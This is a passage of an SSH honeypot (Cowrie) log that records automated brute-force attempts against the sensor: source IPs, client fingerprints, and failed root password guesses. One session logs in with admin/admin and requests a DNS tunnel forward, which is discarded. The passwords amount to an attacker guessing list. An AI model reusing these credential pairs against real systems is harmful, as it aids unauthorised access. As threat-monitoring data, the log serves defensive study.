f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:56:53.820321Z","src_ip":"43.153.0.59","session":"f42380ab4dfb","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"gast","message":"login attempt [root/gast] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:56:54.121051Z","src_ip":"43.153.0.59","session":"f42380ab4dfb","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:56:55.192127Z","src_ip":"43.153.0.59","session":"f42380ab4dfb","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.156.237.246","src_port":56816,"dst_ip":"159.203.135.109","dst_port":22,"session":"772bd3ae7899","protocol":"ssh","message":"New connection: 43.156.237.246:56816 (159.203.135.109:22) [session: 772bd3ae7899]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:57:01.359439Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:57:01.368522Z","src_ip":"43.156.237.246","session":"772bd3ae7899","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:57:01.607499Z","src_ip":"43.156.237.246","session":"772bd3ae7899","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.172.78.219","src_port":60882,"dst_ip":"159.203.135.109","dst_port":22,"session":"07f2933356f7","protocol":"ssh","message":"New connection: 103.172.78.219:60882 (159.203.135.109:22) [session: 07f2933356f7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:57:01.636457Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:57:01.641634Z","src_ip":"103.172.78.219","session":"07f2933356f7","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:57:01.899272Z","src_ip":"103.172.78.219","session":"07f2933356f7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"findirektor","message":"login attempt [root/findirektor] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:57:02.593442Z","src_ip":"43.156.237.246","session":"772bd3ae7899","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"warface","message":"login attempt [root/warface] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:57:02.677434Z","src_ip":"103.172.78.219","session":"07f2933356f7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:57:03.834559Z","src_ip":"43.156.237.246","session":"772bd3ae7899","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:57:03.935444Z","src_ip":"103.172.78.219","session":"07f2933356f7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"46.19.67.181","src_port":60524,"dst_ip":"10.17.0.5","dst_port":22,"session":"9a715f816c9c","protocol":"ssh","message":"New connection: 46.19.67.181:60524 (10.17.0.5:22) [session: 9a715f816c9c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:57:08.819461Z"}
{"eventid":"cowrie.session.connect","src_ip":"108.167.177.203","src_port":54506,"dst_ip":"159.203.135.109","dst_port":22,"session":"3ba8889179dc","protocol":"ssh","message":"New connection: 108.167.177.203:54506 (159.203.135.109:22) [session: 3ba8889179dc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:57:09.130157Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:57:09.138773Z","src_ip":"108.167.177.203","session":"3ba8889179dc","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:57:09.164861Z","src_ip":"108.167.177.203","session":"3ba8889179dc","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"nascar","message":"login attempt [root/nascar] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:57:09.300777Z","src_ip":"108.167.177.203","session":"3ba8889179dc","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.2","message":"Connection lost after 1.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:57:10.330789Z","src_ip":"108.167.177.203","session":"3ba8889179dc","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"207.154.230.149","src_port":55334,"dst_ip":"159.203.135.109","dst_port":22,"session":"d09fb52edae1","protocol":"ssh","message":"New connection: 207.154.230.149:55334 (159.203.135.109:22) [session: d09fb52edae1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:57:11.202812Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:57:11.213800Z","src_ip":"207.154.230.149","session":"d09fb52edae1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:57:11.297518Z","src_ip":"207.154.230.149","session":"d09fb52edae1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Enterprise","message":"login attempt [root/Enterprise] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:57:11.630339Z","src_ip":"207.154.230.149","session":"d09fb52edae1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:57:12.718038Z","src_ip":"207.154.230.149","session":"d09fb52edae1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"119.28.117.200","src_port":37582,"dst_ip":"159.203.135.109","dst_port":22,"session":"3ecc3d1320ec","protocol":"ssh","message":"New connection: 119.28.117.200:37582 (159.203.135.109:22) [session: 3ecc3d1320ec]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:57:20.864110Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:57:20.870634Z","src_ip":"119.28.117.200","session":"3ecc3d1320ec","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"184.94.212.80","src_port":60058,"dst_ip":"159.203.135.109","dst_port":22,"session":"5c1fc537adc7","protocol":"ssh","message":"New connection: 184.94.212.80:60058 (159.203.135.109:22) [session: 5c1fc537adc7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:57:21.069834Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:57:21.074733Z","src_ip":"184.94.212.80","session":"5c1fc537adc7","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:57:21.101494Z","src_ip":"119.28.117.200","session":"3ecc3d1320ec","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:57:21.140061Z","src_ip":"184.94.212.80","session":"5c1fc537adc7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"health","message":"login attempt [root/health] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:57:21.425396Z","src_ip":"184.94.212.80","session":"5c1fc537adc7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"K0nigK0nig@2024","message":"login attempt [root/K0nigK0nig@2024] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:57:22.057519Z","src_ip":"119.28.117.200","session":"3ecc3d1320ec","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:57:22.492486Z","src_ip":"184.94.212.80","session":"5c1fc537adc7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"87.251.64.176","src_port":54698,"dst_ip":"10.17.0.5","dst_port":22,"session":"f63b5e2cdb17","protocol":"ssh","message":"New connection: 87.251.64.176:54698 (10.17.0.5:22) [session: f63b5e2cdb17]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:57:23.113045Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:57:23.119179Z","src_ip":"87.251.64.176","session":"f63b5e2cdb17","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"eff4c24daffc8532c160e86e5f006e53","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: eff4c24daffc8532c160e86e5f006e53","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:57:23.215644Z","src_ip":"87.251.64.176","session":"f63b5e2cdb17","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:57:23.292137Z","src_ip":"119.28.117.200","session":"3ecc3d1320ec","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin","message":"login attempt [admin/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:57:23.507553Z","src_ip":"87.251.64.176","session":"f63b5e2cdb17","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"1.1.1.1","dst_port":53,"src_ip":"87.251.64.176","src_port":0,"message":"direct-tcp connection request to 1.1.1.1:53 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:57:23.606851Z","session":"f63b5e2cdb17","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"1.1.1.1","dst_port":53,"data":"b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","id":0,"message":"discarded direct-tcp forward request 0 to 1.1.1.1:53 with data b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:57:23.705502Z","src_ip":"87.251.64.176","session":"f63b5e2cdb17","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.8","message":"Connection lost after 0.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:57:23.942720Z","src_ip":"87.251.64.176","session":"f63b5e2cdb17","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"101.126.22.12","src_port":52088,"dst_ip":"159.203.135.109","dst_port":22,"session":"8109147d9637","protocol":"ssh","message":"New connection: 101.126.22.12:52088 (159.203.135.109:22) [session: 8109147d9637]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:57:28.429083Z"}
{"eventid":"cowrie.session.connect","src_ip":"193.37.70.224","src_port":57950,"dst_ip":"159.203.135.109","dst_port":22,"session":"63d837e8714e","protocol":"ssh","message":"New connection: 193.37.70.224:57950 (159.203.135.109:22) [session: 63d837e8714e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:57:28.690696Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:57:28.695157Z","src_ip":"193.37.70.224","session":"63d837e8714e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"